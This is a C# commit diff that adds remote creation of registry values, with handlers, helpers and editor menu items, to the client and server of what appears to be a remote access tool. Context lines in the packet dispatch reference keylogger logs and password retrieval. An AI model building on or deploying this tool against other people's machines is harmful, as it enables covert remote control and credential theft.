Added the functionality for creating a registry value + fixed bug with reopening RegistryEditor form

This commit is contained in:
StingRaptor 2016-01-22 16:00:13 +01:00
parent 38019f11c1
commit 1e5186de55
9 changed files with 314 additions and 25 deletions

View File

@ -4,6 +4,7 @@ using System.Linq;
using System.Text;
using xClient.Core.Networking;
using xClient.Core.Registry;
using xClient.Core.Extensions;
namespace xClient.Core.Commands
{
@ -23,6 +24,7 @@ namespace xClient.Core.Commands
/* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */
public static partial class CommandHandler
{
public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client)
{
try
@ -54,6 +56,8 @@ namespace xClient.Core.Commands
{ }
}
#region Registry Key Edit
public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client)
{
xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse();
@ -116,5 +120,33 @@ namespace xClient.Core.Commands
responsePacket.Execute(client);
}
#endregion
#region RegistryValue Edit
public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client)
{
xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse();
string errorMsg = "";
string newKeyName = "";
try
{
responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg));
}
catch (Exception ex)
{
responsePacket.IsError = true;
errorMsg = ex.Message;
}
responsePacket.ErrorMsg = errorMsg;
responsePacket.Value = new RegValueData(newKeyName, packet.Kind.RegistryTypeToString(), null);
responsePacket.KeyPath = packet.KeyPath;
responsePacket.Execute(client);
}
#endregion
}
}

View File

@ -81,7 +81,7 @@ namespace xClient.Core.Extensions
}
/// <summary>
/// Attempts to create a writable sub key from the key provided using the specified
/// Attempts to create a sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is to be created from.</param>
@ -225,7 +225,31 @@ namespace xClient.Core.Extensions
#endregion
#region FindKey
#region Region Value
/// <summary>
/// Attempts to create a registry value for the key provided using the specified
/// name.
/// </summary>
/// <param name="key">The key of which the value is to be created for.</param>
/// <param name="name">The name of the value.</param>
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
public static bool CreateValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
{
try
{
key.SetValue(name, data, kind);
return true;
}
catch
{
return false;
}
}
#endregion
#region Find
/// <summary>
/// Checks if the specified subkey exists in the key
@ -246,6 +270,25 @@ namespace xClient.Core.Extensions
return false;
}
/// <summary>
/// Checks if the specified registry value exists in the key
/// </summary>
/// <param name="key">The key of which to search.</param>
/// <param name="name">The name of the registry value to find.</param>
/// <returns>Returns boolean value if the action succeded or failed
/// </returns>
public static bool ContainsValue(this RegistryKey key, string name)
{
foreach (string value in key.GetValueNames())
{
if (value == name)
{
return true;
}
}
return false;
}
#endregion
/// <summary>

View File

@ -140,6 +140,10 @@ namespace xClient.Core.Packets
{
CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client);
}
else if (type == typeof(ServerPackets.DoCreateRegistryValue))
{
CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client);
}
else if (type == typeof(ServerPackets.GetKeyloggerLogs))
{
CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client);

View File

@ -9,11 +9,13 @@ namespace xClient.Core.Registry
{
public class RegistryEditor
{
#region RegistryKey
/// <summary>
/// Attempts to create the desired sub key to the specified parent.
/// </summary>
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
/// /// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
@ -162,5 +164,65 @@ namespace xClient.Core.Registry
return false;
}
}
#endregion
#region RegistryValue
/// <summary>
/// Attempts to create the desired value for the specified parent.
/// </summary>
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
/// <param name="kind">The type of the registry value to create.</param>
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param>
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
{
name = "";
try
{
RegistryKey key = RegistrySeeker.GetWritableRegistryKey(keyPath);
//Invalid can not open parent
if (key == null)
{
errorMsg = "You do not have access to open registry: " + keyPath + ", try running as administrator";
return false;
}
//Try to find available names
int i = 1;
string testName = String.Format("New Key #{0}", i);
while (key.ContainsValue(testName))
{
i++;
testName = String.Format("New Key #{0}", i);
}
name = testName;
bool success = key.CreateValueSafe(name, "", kind);
//Child could not be created
if (!success)
{
errorMsg = "Cannot create value: Error writing to the registry";
return false;
}
//Child was successfully created
errorMsg = "";
return true;
}
catch (Exception ex)
{
errorMsg = ex.Message;
return false;
}
}
#endregion
}
}

View File

@ -27,6 +27,8 @@ namespace xServer.Core.Commands
{ }
}
#region Registry Key Edit
public static void HandleCreateRegistryKey(xServer.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse packet, Client client)
{
try
@ -86,5 +88,31 @@ namespace xServer.Core.Commands
}
catch { }
}
#endregion
#region Registry Value Edit
public static void HandleCreateRegistryValue(xServer.Core.Packets.ClientPackets.GetCreateRegistryValueResponse packet, Client client)
{
try
{
// Make sure that the client is in the correct state to handle the packet appropriately.
if (client != null && client.Value.FrmRe != null && !client.Value.FrmRe.IsDisposed || !client.Value.FrmRe.Disposing)
{
if (!packet.IsError)
{
client.Value.FrmRe.AddValueToList(packet.KeyPath, packet.Value);
}
else
{
client.Value.FrmRe.ShowErrorMessage(packet.ErrorMsg);
}
}
}
catch { }
}
#endregion
}
}

View File

@ -82,6 +82,10 @@ namespace xServer.Core.Packets
{
CommandHandler.HandleRenameRegistryKey((ClientPackets.GetRenameRegistryKeyResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetCreateRegistryValueResponse))
{
CommandHandler.HandleCreateRegistryValue((ClientPackets.GetCreateRegistryValueResponse)packet, client);
}
else if (type == typeof(ClientPackets.GetPasswordsResponse))
{
CommandHandler.HandleGetPasswordsResponse(client, (ClientPackets.GetPasswordsResponse)packet);

View File

@ -38,12 +38,19 @@
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
this.statusStrip = new System.Windows.Forms.StatusStrip();
this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel();
this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components);
this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
this.stringToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.binaryValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.dWORD32bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.qWORD64bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.multiStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.expandableStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
@ -140,6 +147,13 @@
this.hValue.Text = "Value";
this.hValue.Width = 384;
//
// imageRegistryKeyTypeList
//
this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent;
this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png");
this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png");
//
// statusStrip
//
this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
@ -155,13 +169,6 @@
this.selectedStripStatusLabel.Name = "selectedStripStatusLabel";
this.selectedStripStatusLabel.Size = new System.Drawing.Size(0, 17);
//
// imageRegistryKeyTypeList
//
this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream")));
this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent;
this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png");
this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png");
//
// contextMenuStrip
//
this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
@ -175,7 +182,14 @@
// newToolStripMenuItem
//
this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.keyToolStripMenuItem});
this.keyToolStripMenuItem,
this.toolStripSeparator2,
this.stringToolStripMenuItem,
this.binaryValueToolStripMenuItem,
this.dWORD32bitValueToolStripMenuItem,
this.qWORD64bitValueToolStripMenuItem,
this.multiStringValueToolStripMenuItem,
this.expandableStringValueToolStripMenuItem});
this.newToolStripMenuItem.Name = "newToolStripMenuItem";
this.newToolStripMenuItem.Size = new System.Drawing.Size(117, 22);
this.newToolStripMenuItem.Text = "New";
@ -183,10 +197,52 @@
// keyToolStripMenuItem
//
this.keyToolStripMenuItem.Name = "keyToolStripMenuItem";
this.keyToolStripMenuItem.Size = new System.Drawing.Size(93, 22);
this.keyToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
this.keyToolStripMenuItem.Text = "Key";
this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click);
//
// toolStripSeparator2
//
this.toolStripSeparator2.Name = "toolStripSeparator2";
this.toolStripSeparator2.Size = new System.Drawing.Size(196, 6);
//
// stringToolStripMenuItem
//
this.stringToolStripMenuItem.Name = "stringToolStripMenuItem";
this.stringToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
this.stringToolStripMenuItem.Text = "String Value";
this.stringToolStripMenuItem.Click += new System.EventHandler(this.createStringRegistryValue_Click);
//
// binaryValueToolStripMenuItem
//
this.binaryValueToolStripMenuItem.Name = "binaryValueToolStripMenuItem";
this.binaryValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
this.binaryValueToolStripMenuItem.Text = "Binary Value";
//
// dWORD32bitValueToolStripMenuItem
//
this.dWORD32bitValueToolStripMenuItem.Name = "dWORD32bitValueToolStripMenuItem";
this.dWORD32bitValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
this.dWORD32bitValueToolStripMenuItem.Text = "DWORD (32-bit) Value";
//
// qWORD64bitValueToolStripMenuItem
//
this.qWORD64bitValueToolStripMenuItem.Name = "qWORD64bitValueToolStripMenuItem";
this.qWORD64bitValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
this.qWORD64bitValueToolStripMenuItem.Text = "QWORD (64-bit) Value";
//
// multiStringValueToolStripMenuItem
//
this.multiStringValueToolStripMenuItem.Name = "multiStringValueToolStripMenuItem";
this.multiStringValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
this.multiStringValueToolStripMenuItem.Text = "Multi-String Value";
//
// expandableStringValueToolStripMenuItem
//
this.expandableStringValueToolStripMenuItem.Name = "expandableStringValueToolStripMenuItem";
this.expandableStringValueToolStripMenuItem.Size = new System.Drawing.Size(199, 22);
this.expandableStringValueToolStripMenuItem.Text = "Expandable String Value";
//
// toolStripSeparator1
//
this.toolStripSeparator1.Name = "toolStripSeparator1";
@ -219,6 +275,7 @@
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "FrmRegistryEditor";
this.Text = "Registry Editor";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing);
this.Load += new System.EventHandler(this.FrmRegistryEditor_Load);
this.tableLayoutPanel.ResumeLayout(false);
this.tableLayoutPanel.PerformLayout();
@ -252,5 +309,12 @@
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
private System.Windows.Forms.ToolStripMenuItem deleteToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator toolStripSeparator2;
private System.Windows.Forms.ToolStripMenuItem stringToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem binaryValueToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem dWORD32bitValueToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem qWORD64bitValueToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem multiStringValueToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem expandableStringValueToolStripMenuItem;
}
}

View File

@ -1,4 +1,5 @@
using System;
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
@ -273,6 +274,44 @@ namespace xServer.Forms
#region ListView Helpfunctions
public void AddValueToList(string keyPath, RegValueData value)
{
TreeNode key = GetParentTreeNode(keyPath);
if (key != null )
{
lstRegistryKeys.Invoke((MethodInvoker)delegate
{
List<RegValueData> ValuesFromNode = null;
if (key.Tag != null) {
if (key.Tag.GetType() == typeof(List<RegValueData>))
{
ValuesFromNode = (List<RegValueData>)key.Tag;
ValuesFromNode.Add(value);
}
else { return; }
}
else
{
ValuesFromNode = new List<RegValueData>();
ValuesFromNode.Add(value);
}
if (tvRegistryDirectory.SelectedNode == key)
{
RegistryValueLstItem item = new RegistryValueLstItem(value.Name, value.Type, value.Data);
item.ImageIndex = GetRegistryValueImgIndex(value.Type);
lstRegistryKeys.Items.Add(item);
}
else
{
tvRegistryDirectory.SelectedNode = key.FirstNode;
PopulateLstRegistryKeys(ValuesFromNode);
}
});
}
}
public void PopulateLstRegistryKeys(List<RegValueData> values)
{
lstRegistryKeys.Items.Clear();
@ -438,6 +477,19 @@ namespace xServer.Forms
}
}
#region New Registry Value
private void createStringRegistryValue_Click(object sender, EventArgs e)
{
if (tvRegistryDirectory.SelectedNode != null)
{
//Request the creation of a new Registry value of type REG_SZ
new xServer.Core.Packets.ServerPackets.DoCreateRegistryValue(tvRegistryDirectory.SelectedNode.FullPath, RegistryValueKind.String).Execute(_connectClient);
}
}
#endregion
#endregion
#region Handlers

View File

@ -125,7 +125,7 @@
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm
BwAAAk1TRnQBSQFMAwEBAAHoAQAB6AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
BwAAAk1TRnQBSQFMAwEBAAH4AQAB+AEAARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA
AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA
AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA
AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm
@ -168,8 +168,8 @@
<value>
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABo
CQAAAk1TRnQBSQFMAgEBAgEAAQgBAAEIAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
CQAAAk1TRnQBSQFMAgEBAgEAARgBAAEYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
@ -202,14 +202,14 @@
Ae8BBwL/AawC/wHVAf8CrAEZAf8BrAL/Ae8gAAHwAf8BvQL5AeMBRwH/AUcBFwL5AZQC/wHvAfAC/wGs
Av8B1QH/AdUB9AHZAf8BrAL/Ae8gAAHwAf8BFgHjAf8BlAFHAf8BRwGUAv8B+QL/Ae8B8AL/AawB/wH0
AdUB/wGsARkB2QEZAawC/wHvIAAB8AH/Ab0B+QIWARcB/wFHAb0C/wEXAb0B/wHvAfAB/wHTAawB/wHT
AawB/wHVAawB9QHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAB/wH1
ARcBvQHjARYB/wFHAfkBvQGUARcC/wHvAfAC/wGsAf8CrAEZAf8B0wH/AdMBrAH1Af8B7yAAAfAB9AH/
Ab0ClAL/AUcBvQKUA/8B7wHwAfQB/wGsAf8BrAH/AawB/wHTARkB1QEZAdUB/wHvIAAB8AH0Bv8BRwG9
Af8F7wHwAfQB/wGsAf8BrAH1AdUBGQHTAfQF7yAAAfAC9AX/AUcBvQH/Ae8B8QHzAfQB7wHwAfQB0wGs
Af8B3AGsARkB1QGsAf8B7wHxAfMB9AHvIAAB8AHzAvQH/wHvAfMB9AHvAQAB8AHzAvQH/wHvAfMB9AHv
IQAB8AHxAfMD9AX/Ae8B9AHvAgAB8AHxAfMD9AX/Ae8B9AHvIgAF8AUHA+8DAAXwBQcD7yMAAUIBTQE+
BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAT/BAABHAE4ARwBOF0AAQEBAAEBBQABAwEA
AQMFAAEHAQABBwQACw==
AawB/wHVAawB/wHTAawC/wHvIAAB8AP/Ab0B4wEXAf8BRwG9Av8BRwHzAf8B7wHwDv8B7yAAAfAC/wEX
Ab0B4wEWAf8BRwH5Ab0BlAEXAv8B7wHwAv8BrAH/AqwBGQH/AdMB/wHTAawC/wHvIAAB8AH0Af8BvQKU
Av8BRwG9ApQD/wHvAfAB9AH/AawB/wGsAf8BrAH/AdMBGQHVARkB1QH/Ae8gAAHwAfQG/wFHAb0B/wXv
AfAB9AH/AawB/wGsAf8B1QEZAdMB9AXvIAAB8AL0Bf8BRwG9Af8B7wHxAfMB9AHvAfAB9AHTAawB/wHc
AawBGQHVAawB/wHvAfEB8wH0Ae8gAAHwAfMC9Af/Ae8B8wH0Ae8BAAHwAfMC9Af/Ae8B8wH0Ae8hAAHw
AfEB8wP0Bf8B7wH0Ae8CAAHwAfEB8wP0Bf8B7wH0Ae8iAAXwBQcD7wMABfAFBwPvIwABQgFNAT4HAAE+
AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wEABP8EAAEcATgBHAE4XQABAQEAAQEFAAEDAQABAwUA
AQcBAAEHBAAL
</value>
</data>
<metadata name="statusStrip.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">